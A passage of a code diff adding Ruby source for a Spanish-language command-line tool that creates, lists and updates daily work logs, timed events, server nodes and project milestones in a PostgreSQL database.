|
||||
# • adn db nodo:crear [OPCIONES] — Crear nuevo nodo (servidor/VM/PC)
|
||||
# • adn db nodo:listar [OPCIONES] — Listar nodos del sistema
|
||||
# • adn db migrar:md [FECHA] — Migrar bitácora .md a base de datos
|
||||
# • adn db estadisticas — Mostrar estadísticas del sistema
|
||||
#
|
||||
# Uso:
|
||||
# ./adn/tools/run db [SUBCOMANDO] [OPCIONES]
|
||||
|
||||
require 'optparse'
|
||||
require 'date'
|
||||
require 'time'
|
||||
|
||||
# Cargar módulo BitacorasDB
|
||||
begin
|
||||
require_relative '../db/core/bitacora_db'
|
||||
require_relative '../db/importers/md_importer'
|
||||
require_relative '../db/exporters/md_exporter'
|
||||
rescue LoadError => e
|
||||
# Fallback para desarrollo
|
||||
puts "⚠ Advertencia: No se pudo cargar BitacoraDB o MDImporter: #{e.message}"
|
||||
puts " Asegúrate de que los archivos en adn/tools/db/ existen"
|
||||
end
|
||||
|
||||
module ADN
|
||||
class SubcomandoDB
|
||||
require_relative 'db/bitacora'
|
||||
require_relative 'db/evento'
|
||||
require_relative 'db/nodo'
|
||||
require_relative 'db/hito'
|
||||
require_relative 'db/misc'
|
||||
include SubcomandoDBBitacora
|
||||
include SubcomandoDBEvento
|
||||
include SubcomandoDBNodo
|
||||
include SubcomandoDBHito
|
||||
include SubcomandoDBMisc
|
||||
# Inicializa el subcomando con argumentos y logger
|
||||
#
|
||||
# @param args [Array<String>] Argumentos de línea de comandos
|
||||
# @param logger [ADNLogger] Instancia de logger para registro
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@config = cargar_configuracion
|
||||
end
|
||||
|
||||
# Ejecuta el subcomando según los argumentos proporcionados
|
||||
def ejecutar
|
||||
if @args.empty? || @args[0] == 'help'
|
||||
mostrar_ayuda
|
||||
return
|
||||
end
|
||||
|
||||
subcomando = @args[0]
|
||||
sub_args = @args[1..-1] || []
|
||||
|
||||
case subcomando
|
||||
when 'salud:bd'
|
||||
comando_salud_bd
|
||||
when 'bitacora:crear'
|
||||
comando_bitacora_crear(sub_args)
|
||||
when 'bitacora:listar'
|
||||
comando_bitacora_listar(sub_args)
|
||||
when 'evento:crear'
|
||||
comando_evento_crear(sub_args)
|
||||
when 'evento:listar'
|
||||
comando_evento_listar(sub_args)
|
||||
when 'evento:actualizar'
|
||||
comando_evento_actualizar(sub_args)
|
||||
when 'nodo:crear'
|
||||
comando_nodo_crear(sub_args)
|
||||
when 'nodo:listar'
|
||||
comando_nodo_listar(sub_args)
|
||||
when 'hito:listar'
|
||||
comando_hito_listar(sub_args)
|
||||
when 'hito:actualizar'
|
||||
comando_hito_actualizar(sub_args)
|
||||
when 'hito:renombrar'
|
||||
comando_hito_renombrar(sub_args)
|
||||
when 'hito:ordenar'
|
||||
comando_hito_ordenar(sub_args)
|
||||
when 'estadisticas'
|
||||
comando_estadisticas
|
||||
when 'backup'
|
||||
comando_backup(sub_args)
|
||||
when 'archivar:md'
|
||||
comando_archivar_md
|
||||
|
||||
else
|
||||
@logger.error("Subcomando desconocido: #{subcomando}")
|
||||
puts "#{Color::RED}✗ Subcomando desconocido: '#{subcomando}'#{Color::RESET}"
|
||||
puts ""
|
||||
mostrar_ayuda
|
||||
exit 1
|
||||
end
|
||||
rescue Interrupt
|
||||
puts "\n#{Color::YELLOW}⚠ Operación interrumpida por el usuario#{Color::RESET}"
|
||||
@logger.info("Operación de base de datos interrumpida por usuario")
|
||||
exit 130
|
||||
rescue => e
|
||||
@logger.error("Error en operación de base de datos: #{e.message}", { backtrace: e.backtrace })
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
|
||||
exit 1
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# ─── COMANDOS PRINCIPALES ──────────────────────────────────────────────
|
||||
|
||||
# ─── MÉTODOS AUXILIARES ──────────────────────────────────────────────
|
||||
|
||||
# Carga la configuración desde config.yml
|
||||
def cargar_configuracion
|
||||
config_path = File.join(__dir__, 'config.yml')
|
||||
return {} unless File.exist?(config_path)
|
||||
|
||||
begin
|
||||
YAML.load_file(config_path)
|
||||
rescue => e
|
||||
@logger.error("Error cargando configuración: #{e.message}")
|
||||
{}
|
||||
end
|
||||
end
|
||||
|
||||
# Muestra la ayuda general del subcomando
|
||||
def mostrar_ayuda
|
||||
puts "#{Color::BOLD}Uso: ./adn/tools/run db [SUBCOMANDO] [OPCIONES]#{Color::RESET}"
|
||||
puts ""
|
||||
puts "#{Color::BOLD}Subcomandos disponibles:#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::CYAN}salud:bd#{Color::RESET} Verificar conexión y estado de la BD"
|
||||
puts " #{Color::CYAN}backup [OPCIONES]#{Color::RESET} Crear backup de la base de datos"
|
||||
puts " #{Color::CYAN}bitacora:crear [FECHA]#{Color::RESET} Crear nueva bitácora diaria"
|
||||
puts " #{Color::CYAN}bitacora:listar [OPCIONES]#{Color::RESET} Listar bitácoras existentes"
|
||||
puts " #{Color::CYAN}evento:crear [OPCIONES]#{Color::RESET} Crear nueva entrada cronológica"
|
||||
puts " #{Color::CYAN}evento:listar [OPCIONES]#{Color::RESET} Listar entradas con filtros"
|
||||
puts " #{Color::CYAN}nodo:crear [OPCIONES]#{Color::RESET} Crear nuevo nodo (servidor/VM/PC)"
|
||||
puts " #{Color::CYAN}nodo:listar [OPCIONES]#{Color::RESET} Listar nodos del sistema"
|
||||
puts " #{Color::CYAN}estadisticas#{Color::RESET} Mostrar estadísticas del sistema"
|
||||
puts " #{Color::CYAN}archivar:md#{Color::RESET} Mueve los archivos .md migrados al archivo histórico"
|
||||
puts ""
|
||||
puts "#{Color::BOLD}Ejemplos:#{Color::RESET}"
|
||||
puts " ./adn/tools/run db salud:bd"
|
||||
puts " ./adn/tools/run db bitacora:crear --resumen \"Inicio de proyecto\""
|
||||
puts " ./adn/tools/run db evento:crear --inicio 09:00 --descripcion \"Reunión\" --nodo srv-ns8"
|
||||
puts " ./adn/tools/run db nodo:listar --tipo servidor"
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ Nota:#{Color::RESET} Requiere PostgreSQL en ejecución (puerto 5433)"
|
||||
puts " Iniciar contenedor: #{Color::DIM}cd dtic-BITACORAs && docker-compose up -d#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,112 @@
|
||||
module ADN
|
||||
module SubcomandoDBBitacora
|
||||
# Comando: bitacora:crear [FECHA] - Crear nueva bitácora diaria
|
||||
def comando_bitacora_crear(args)
|
||||
opts = { fecha: Date.today, resumen: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db bitacora:crear [FECHA] [OPCIONES]"
|
||||
opt.on("--resumen TEXTO", "Resumen inicial de la bitácora") do |r|
|
||||
opts[:resumen] = r
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
# Si queda un argumento sin procesar, asumimos que es la fecha
|
||||
opts[:fecha] = Date.parse(args[0]) if args[0]
|
||||
rescue OptionParser::InvalidOption, Date::Error => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📝 Creando bitácora para #{opts[:fecha]}...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
bitacora = db.create_bitacora(fecha: opts[:fecha], resumen: opts[:resumen])
|
||||
puts "#{Color::GREEN}✅ Bitácora creada exitosamente#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::BOLD}ID:#{Color::RESET} #{bitacora['id']}"
|
||||
puts " #{Color::BOLD}Fecha:#{Color::RESET} #{bitacora['fecha']}"
|
||||
puts " #{Color::BOLD}Resumen:#{Color::RESET} #{bitacora['resumen'] || '(sin resumen)'}"
|
||||
puts " #{Color::BOLD}Creada:#{Color::RESET} #{bitacora['created_at']}"
|
||||
rescue PG::UniqueViolation
|
||||
puts "#{Color::YELLOW}⚠ Ya existe una bitácora para la fecha #{opts[:fecha]}#{Color::RESET}"
|
||||
puts " Usa #{Color::DIM}adn db bitacora:listar#{Color::RESET} para ver bitácoras existentes"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: bitacora:listar [OPCIONES] - Listar bitácoras existentes
|
||||
def comando_bitacora_listar(args)
|
||||
opts = { limit: 10, offset: 0, desde: nil, hasta: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db bitacora:listar [OPCIONES]"
|
||||
opt.on("--limit N", Integer, "Número máximo de resultados (default: 10)") do |n|
|
||||
opts[:limit] = n
|
||||
end
|
||||
opt.on("--offset N", Integer, "Desplazamiento para paginación (default: 0)") do |n|
|
||||
opts[:offset] = n
|
||||
end
|
||||
opt.on("--desde FECHA", "Filtrar desde fecha (YYYY-MM-DD)") do |d|
|
||||
opts[:desde] = d
|
||||
end
|
||||
opt.on("--hasta FECHA", "Filtrar hasta fecha (YYYY-MM-DD)") do |h|
|
||||
opts[:hasta] = h
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📋 Listando bitácoras...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
bitacoras = db.list_bitacoras(
|
||||
limit: opts[:limit],
|
||||
offset: opts[:offset],
|
||||
desde: opts[:desde],
|
||||
hasta: opts[:hasta]
|
||||
)
|
||||
|
||||
if bitacoras.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se encontraron bitácoras#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}#{"ID".ljust(5)} #{"Fecha".ljust(12)} #{"Resumen".ljust(40)} #{"Creada".ljust(20)}#{Color::RESET}"
|
||||
puts "#{"─" * 5} #{"─" * 12} #{"─" * 40} #{"─" * 20}"
|
||||
|
||||
bitacoras.each do |b|
|
||||
fecha = b['fecha']
|
||||
resumen = b['resumen'] || ''
|
||||
resumen = resumen[0..37] + '...' if resumen.length > 40
|
||||
creada = Time.parse(b['created_at']).strftime('%Y-%m-%d %H:%M')
|
||||
|
||||
puts "#{b['id'].to_s.ljust(5)} #{fecha.ljust(12)} #{resumen.ljust(40)} #{creada.ljust(20)}"
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "Total: #{bitacoras.length} bitácoras"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,260 @@
|
||||
module ADN
|
||||
module SubcomandoDBEvento
|
||||
# Comando: evento:crear [OPCIONES] - Crear nueva entrada cronológica
|
||||
def comando_evento_crear(args)
|
||||
opts = {
|
||||
inicio: nil,
|
||||
descripcion: nil,
|
||||
fin: nil,
|
||||
estado: nil,
|
||||
modo: nil,
|
||||
es_ia: false,
|
||||
nodo: nil,
|
||||
tema: nil
|
||||
}
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db evento:crear [OPCIONES]"
|
||||
opt.on("--inicio HH:MM", "Hora de inicio (requerido)") do |i|
|
||||
opts[:inicio] = i
|
||||
end
|
||||
opt.on("--descripcion TEXTO", "Descripción de la actividad (requerido)") do |d|
|
||||
opts[:descripcion] = d
|
||||
end
|
||||
opt.on("--fin HH:MM", "Hora de fin (opcional)") do |f|
|
||||
opts[:fin] = f
|
||||
end
|
||||
opt.on("--estado ESTADO", "Estado (⏳, ✅, ❌, ⚠️, ⏸️)") do |e|
|
||||
opts[:estado] = e
|
||||
end
|
||||
opt.on("--modo MODO", "Modo (P=Presencial, R=Remoto)") do |m|
|
||||
opts[:modo] = m
|
||||
end
|
||||
opt.on("--nodo NOMBRE", "Nombre del nodo (servidor/VM)") do |n|
|
||||
opts[:nodo] = n
|
||||
end
|
||||
opt.on("--ia", "Marcar como generado por IA") do
|
||||
opts[:es_ia] = true
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
# Validaciones básicas
|
||||
unless opts[:inicio] && opts[:descripcion]
|
||||
puts "#{Color::RED}✗ Error: --inicio y --descripcion son requeridos#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📝 Creando nueva entrada...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# Buscar nodo por nombre si se especificó
|
||||
nodo_id = nil
|
||||
if opts[:nodo]
|
||||
nodo = db.find_nodo_by_nombre(opts[:nodo])
|
||||
if nodo
|
||||
nodo_id = nodo['id']
|
||||
puts " #{Color::DIM}Nodo encontrado: #{opts[:nodo]} (ID: #{nodo_id})#{Color::RESET}"
|
||||
else
|
||||
puts "#{Color::YELLOW}⚠ Nodo '#{opts[:nodo]}' no encontrado#{Color::RESET}"
|
||||
puts " Creando entrada sin nodo asociado"
|
||||
end
|
||||
end
|
||||
|
||||
# Buscar bitácora para hoy (o crearla)
|
||||
fecha_hoy = Date.today.to_s
|
||||
bitacora = db.find_bitacora_by_fecha(fecha_hoy)
|
||||
|
||||
if bitacora.nil?
|
||||
puts " #{Color::DIM}Creando bitácora para hoy...#{Color::RESET}"
|
||||
bitacora = db.create_bitacora(fecha: fecha_hoy)
|
||||
end
|
||||
|
||||
bitacora_id = bitacora['id']
|
||||
|
||||
# Crear la entrada
|
||||
entrada = db.create_entrada(
|
||||
inicio: opts[:inicio],
|
||||
descripcion: opts[:descripcion],
|
||||
fin: opts[:fin],
|
||||
estado: opts[:estado],
|
||||
modo: opts[:modo],
|
||||
es_ia: opts[:es_ia],
|
||||
bitacora_id: bitacora_id,
|
||||
nodo_id: nodo_id,
|
||||
tema_id: nil # Por ahora sin tema
|
||||
)
|
||||
|
||||
puts "#{Color::GREEN}✅ Entrada creada exitosamente#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::BOLD}ID:#{Color::RESET} #{entrada['id']}"
|
||||
puts " #{Color::BOLD}Inicio:#{Color::RESET} #{entrada['inicio']}"
|
||||
puts " #{Color::BOLD}Fin:#{Color::RESET} #{entrada['fin'] || '(sin fin)'}"
|
||||
puts " #{Color::BOLD}Descripción:#{Color::RESET} #{entrada['descripcion']}"
|
||||
puts " #{Color::BOLD}Estado:#{Color::RESET} #{entrada['estado']}"
|
||||
puts " #{Color::BOLD}Modo:#{Color::RESET} #{entrada['modo'] == 'P' ? 'Presencial' : 'Remoto'}"
|
||||
puts " #{Color::BOLD}IA:#{Color::RESET} #{entrada['es_ia'] ? 'Sí' : 'No'}"
|
||||
puts " #{Color::BOLD}Bitácora:#{Color::RESET} #{fecha_hoy} (ID: #{bitacora_id})"
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: evento:actualizar <ID> [OPCIONES] - Actualizar una entrada existente
|
||||
def comando_evento_actualizar(args)
|
||||
if args.length < 1 || args[0].start_with?('-')
|
||||
puts "#{Color::YELLOW}Uso: adn db evento:actualizar <ID> [OPCIONES]#{Color::RESET}"
|
||||
puts "Opciones soportadas: --fin \"HH:MM\", --inicio \"HH:MM\", --estado \"✅\", --descripcion \"Texto\""
|
||||
return
|
||||
end
|
||||
|
||||
id_evento = args.shift.to_i
|
||||
opts = {}
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Opciones:"
|
||||
opt.on("--inicio HH:MM", "Nueva hora de inicio") { |i| opts[:inicio] = i }
|
||||
opt.on("--fin HH:MM", "Nueva hora de fin") { |f| opts[:fin] = f }
|
||||
opt.on("--descripcion TEXTO", "Nueva descripción") { |d| opts[:descripcion] = d }
|
||||
opt.on("--estado ESTADO", "Nuevo estado (⏳, ✅, ❌, ⚠️, ⏸️)") { |e| opts[:estado] = e }
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
if opts.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se especificó nada para actualizar. Use --fin, --inicio, --descripcion o --estado#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🔄 Actualizando evento #{id_evento}...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
res = db.update_entrada(id_evento, opts)
|
||||
if res
|
||||
puts "#{Color::GREEN}✅ Evento #{id_evento} actualizado exitosamente.#{Color::RESET}"
|
||||
puts " #{Color::BOLD}Inicio:#{Color::RESET} #{res['inicio']}"
|
||||
puts " #{Color::BOLD}Fin:#{Color::RESET} #{res['fin'] || '(sin fin)'}"
|
||||
else
|
||||
puts "#{Color::YELLOW}⚠ No se pudo actualizar el evento. ¿Existe el ID #{id_evento}?#{Color::RESET}"
|
||||
end
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: evento:listar [OPCIONES] - Listar entradas con filtros
|
||||
def comando_evento_listar(args)
|
||||
opts = { limit: 20, offset: 0, nodo: nil, estado: nil, buscar: nil, desde: nil, hasta: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db evento:listar [OPCIONES]"
|
||||
opt.on("--limit N", Integer, "Número máximo de resultados (default: 20)") do |n|
|
||||
opts[:limit] = n
|
||||
end
|
||||
opt.on("--offset N", Integer, "Desplazamiento para paginación (default: 0)") do |n|
|
||||
opts[:offset] = n
|
||||
end
|
||||
opt.on("--nodo NOMBRE", "Filtrar por nombre de nodo") do |n|
|
||||
opts[:nodo] = n
|
||||
end
|
||||
opt.on("--estado ESTADO", "Filtrar por estado (⏳, ✅, ❌, ⚠️, ⏸️)") do |e|
|
||||
opts[:estado] = e
|
||||
end
|
||||
opt.on("--buscar TEXTO", "Buscar texto en descripción") do |b|
|
||||
opts[:buscar] = b
|
||||
end
|
||||
opt.on("--desde FECHA", "Filtrar desde fecha (YYYY-MM-DD)") do |d|
|
||||
opts[:desde] = d
|
||||
end
|
||||
opt.on("--hasta FECHA", "Filtrar hasta fecha (YYYY-MM-DD)") do |h|
|
||||
opts[:hasta] = h
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📋 Listando entradas...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# Obtener ID de nodo si se especificó nombre
|
||||
nodo_id = nil
|
||||
if opts[:nodo]
|
||||
nodo = db.find_nodo_by_nombre(opts[:nodo])
|
||||
if nodo
|
||||
nodo_id = nodo['id']
|
||||
puts " #{Color::DIM}Filtrando por nodo: #{opts[:nodo]} (ID: #{nodo_id})#{Color::RESET}"
|
||||
else
|
||||
puts "#{Color::YELLOW}⚠ Nodo '#{opts[:nodo]}' no encontrado#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
entradas = db.list_entradas(
|
||||
nodo_id: nodo_id,
|
||||
estado: opts[:estado],
|
||||
buscar: opts[:buscar],
|
||||
desde: opts[:desde],
|
||||
hasta: opts[:hasta],
|
||||
limit: opts[:limit],
|
||||
offset: opts[:offset]
|
||||
)
|
||||
|
||||
if entradas.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se encontraron entradas#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}#{"ID".ljust(5)} #{"Inicio".ljust(8)} #{"Fin".ljust(8)} #{"Nodo".ljust(15)} #{"Estado".ljust(3)} #{"Descripción".ljust(40)}#{Color::RESET}"
|
||||
puts "#{"─" * 5} #{"─" * 8} #{"─" * 8} #{"─" * 15} #{"─" * 3} #{"─" * 40}"
|
||||
|
||||
entradas.each do |e|
|
||||
id = e['id'].to_s
|
||||
inicio = e['inicio'][0..7] # HH:MM:SS -> HH:MM
|
||||
fin = e['fin'] ? e['fin'][0..7] : '--:--'
|
||||
nodo = e['nodo_nombre'] || '(sin nodo)'
|
||||
nodo = nodo[0..13] + '...' if nodo.length > 15
|
||||
estado = e['estado']
|
||||
desc = e['descripcion']
|
||||
desc = desc[0..37] + '...' if desc.length > 40
|
||||
|
||||
puts "#{id.ljust(5)} #{inicio.ljust(8)} #{fin.ljust(8)} #{nodo.ljust(15)} #{estado.ljust(3)} #{desc.ljust(40)}"
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "Total: #{entradas.length} entradas"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,214 @@
|
||||
module ADN
|
||||
module SubcomandoDBHito
|
||||
# Comando: hito:listar [PROYECTO]
|
||||
def comando_hito_listar(args)
|
||||
if args.empty?
|
||||
puts "#{Color::YELLOW}Uso: adn db hito:listar <CODIGO_PROYECTO> (ej: P2605)#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
codigo = args[0]
|
||||
puts "#{Color::CYAN}📋 Listando hitos del proyecto #{codigo.upcase}...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
hitos = db.list_hitos(codigo)
|
||||
if hitos.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se encontraron hitos o el proyecto no existe.#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}#{"Hito".ljust(8)} #{"Fase".ljust(6)} #{"Estado".ljust(8)} #{"Hrs P/R".ljust(10)} #{"Título"}#{Color::RESET}"
|
||||
puts "#{"─" * 8} #{"─" * 6} #{"─" * 8} #{"─" * 10} #{"─" * 40}"
|
||||
|
||||
hitos.each do |h|
|
||||
hrs = "#{h['horas_presencial']}/#{h['horas_remoto']}"
|
||||
puts "#{h['id_hito'].ljust(8)} #{h['fase_num'].to_s.ljust(6)} #{h['estado'].ljust(8)} #{hrs.ljust(10)} #{h['titulo']}"
|
||||
end
|
||||
puts "\nTotal: #{hitos.size} hitos"
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: hito:ordenar <PROYECTO> [--aplicar FILE]
|
||||
def comando_hito_ordenar(args)
|
||||
codigo = args.shift
|
||||
if !codigo
|
||||
puts "#{Color::YELLOW}Uso: adn db hito:ordenar <PROYECTO> [--aplicar /ruta/al/archivo.txt]#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
aplicar_path = nil
|
||||
if args[0] == '--aplicar' && args[1]
|
||||
aplicar_path = args[1]
|
||||
end
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
hitos = db.list_hitos(codigo)
|
||||
if hitos.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se encontraron hitos para #{codigo.upcase}.#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
if aplicar_path
|
||||
unless File.exist?(aplicar_path)
|
||||
puts "#{Color::RED}✗ No se encontró el archivo: #{aplicar_path}#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
# Procesar el archivo y aplicarrenombramientos lógicos "Fase.Grupo.Paso"
|
||||
puts "#{Color::CYAN}📋 Aplicando ordenamiento desde #{aplicar_path}...#{Color::RESET}"
|
||||
lineas = File.readlines(aplicar_path).map(&:strip).reject { |l| l.empty? || l.start_with?('#') }
|
||||
|
||||
# Agrupar por fase según el orden de las líneas
|
||||
hitos_por_fase = Hash.new { |h, k| h[k] = [] }
|
||||
lineas.each do |linea|
|
||||
if linea =~ /^(\d+):\s*\[.+?\]\s*(.+)$/
|
||||
id_db = $1.to_i
|
||||
hito = hitos.find { |h| h['id'] == id_db }
|
||||
hitos_por_fase[hito['fase_num']] << hito if hito
|
||||
end
|
||||
end
|
||||
|
||||
# Iniciar renombrado secuencial
|
||||
hitos_por_fase.each do |fase, hitos_fase|
|
||||
grupo = 1
|
||||
letra = 65 # 'A'
|
||||
|
||||
hitos_fase.each do |h|
|
||||
nuevo_id = "#{fase}.#{grupo}.#{letra.chr}"
|
||||
|
||||
if h['id_hito'] != nuevo_id
|
||||
db.rename_hito_id(codigo, h['id_hito'], nuevo_id)
|
||||
puts " #{Color::GREEN}✔ #{h['id_hito'].ljust(8)} → #{nuevo_id.ljust(8)}#{Color::RESET} | #{h['titulo']}"
|
||||
else
|
||||
puts " #{Color::DIM}• #{nuevo_id.ljust(8)} (Sin cambios) | #{h['titulo']}#{Color::RESET}"
|
||||
end
|
||||
|
||||
letra += 1
|
||||
if letra > 67 # 'C'
|
||||
letra = 65
|
||||
grupo += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
puts "#{Color::GREEN}✅ Ordenamiento aplicado exitosamente a #{codigo.upcase}.#{Color::RESET}"
|
||||
|
||||
else
|
||||
# Generar archivo temporal para reordenamiento (Swarm-Ready)
|
||||
tmp_file = "/tmp/adn_ordenar_#{codigo.downcase}.txt"
|
||||
File.open(tmp_file, 'w') do |f|
|
||||
f.puts "# ==========================================================================="
|
||||
f.puts "# MODO ORDENAMIENTO DE HITOS - PROYECTO #{codigo.upcase}"
|
||||
f.puts "# ==========================================================================="
|
||||
f.puts "# Cambia el orden de las líneas (Cortar y Pegar) dentro de la misma FASE"
|
||||
f.puts "# para definir la secuencia lógica de ejecución."
|
||||
f.puts "# NO MODIFIQUES el número inicial ni los corchetes (ej: '42: [F3]')."
|
||||
f.puts "# Cuando termines de editar, guarda el archivo y ejecuta en la terminal:"
|
||||
f.puts "# adn db hito:ordenar #{codigo.upcase} --aplicar #{tmp_file}"
|
||||
f.puts "# ===========================================================================\n\n"
|
||||
|
||||
fases = hitos.group_by { |h| h['fase_num'] }.sort_by { |k, v| k }
|
||||
fases.each do |num_fase, hitos_fase|
|
||||
f.puts "# --- FASE #{num_fase} ---"
|
||||
hitos_fase.each do |h|
|
||||
f.puts "#{h['id']}: [F#{num_fase}] #{h['titulo']}"
|
||||
end
|
||||
f.puts "\n"
|
||||
end
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}✅ Archivo de configuración generado en: #{tmp_file}#{Color::RESET}"
|
||||
puts "1. Abre el archivo y reordena las líneas como necesites."
|
||||
puts "2. Ejecuta: #{Color::BOLD}adn db hito:ordenar #{codigo.upcase} --aplicar #{tmp_file}#{Color::RESET}"
|
||||
end
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: hito:renombrar <PROYECTO> <ID_HITO_ACTUAL> <NUEVO_ID_HITO>
|
||||
def comando_hito_renombrar(args)
|
||||
if args.length < 3
|
||||
puts "#{Color::YELLOW}Uso: adn db hito:renombrar <PROYECTO> <ID_HITO_ACTUAL> <NUEVO_ID_HITO>#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
proyecto = args[0]
|
||||
id_actual = args[1]
|
||||
id_nuevo = args[2]
|
||||
|
||||
puts "#{Color::CYAN}🔄 Renombrando hito #{id_actual} → #{id_nuevo} (Proyecto #{proyecto.upcase})...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
res = db.rename_hito_id(proyecto, id_actual, id_nuevo)
|
||||
puts "#{Color::GREEN}✅ Hito renombrado exitosamente. Título: #{res['titulo']}#{Color::RESET}"
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: hito:actualizar <PROYECTO> <ID_HITO> [OPCIONES]
|
||||
def comando_hito_actualizar(args)
|
||||
if args.length < 2
|
||||
puts "#{Color::YELLOW}Uso: adn db hito:actualizar <PROYECTO> <ID_HITO> [OPCIONES]#{Color::RESET}"
|
||||
puts "Opciones soportadas: --estado=EJ, --horas-p=1.5, --horas-r=0, --desc=\"Texto\""
|
||||
return
|
||||
end
|
||||
|
||||
proyecto = args.shift
|
||||
id_hito = args.shift
|
||||
opts = { estado: nil, horas_presencial: nil, horas_remoto: nil, descripcion: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Opciones:"
|
||||
opt.on("--estado ESTADO", "Nuevo estado (ej: ✅, ⏳, 📋)") { |e| opts[:estado] = e }
|
